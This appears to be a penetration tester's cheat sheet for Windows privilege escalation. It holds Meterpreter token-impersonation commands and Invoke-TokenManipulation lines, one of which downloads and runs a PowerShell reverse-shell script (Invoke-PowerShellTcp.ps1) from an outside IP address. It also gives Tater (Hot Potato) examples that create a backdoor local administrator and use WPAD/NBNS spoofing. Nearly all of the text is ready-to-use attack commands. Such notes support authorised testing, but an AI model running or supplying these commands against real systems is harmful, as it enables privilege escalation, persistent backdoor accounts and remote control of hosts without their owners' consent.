list_tokens -u
cd c:\temp\
execute -Hc -f ./rot.exe
impersonate_token "NT AUTHORITY\SYSTEM"

Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"

### Usage:

```bash
# To import with Import-Module:
Import-Module ./Tater.ps1

# To import using dot source method:
. ./Tater.ps1
```

### Examples:

```bash
# Basic trigger 1 example
Invoke-Tater -Trigger 1 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"

# Basic trigger 2 example
Invoke-Tater -Trigger 2 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"

# Basic trigger 3 example - 2 steps
# Two system setup to get around port 80 being in-use on the privesc target
# WPAD System - 192.168.10.100 - this system will just serve up a wpad.dat file that will direct HTTP traffic on the privesc target to the non-80 HTTP port   
Invoke-Tater -Trigger 0 -NBNS N -WPADPort 8080 -Command "null"

# Privesc Target - 192.168.10.101
Invoke-Tater -Command "net user Tater Winter2016 /add && net localgroup administrators Tater /add" -HTTPPort 8080 -SpooferIP 192.168.10.100
```
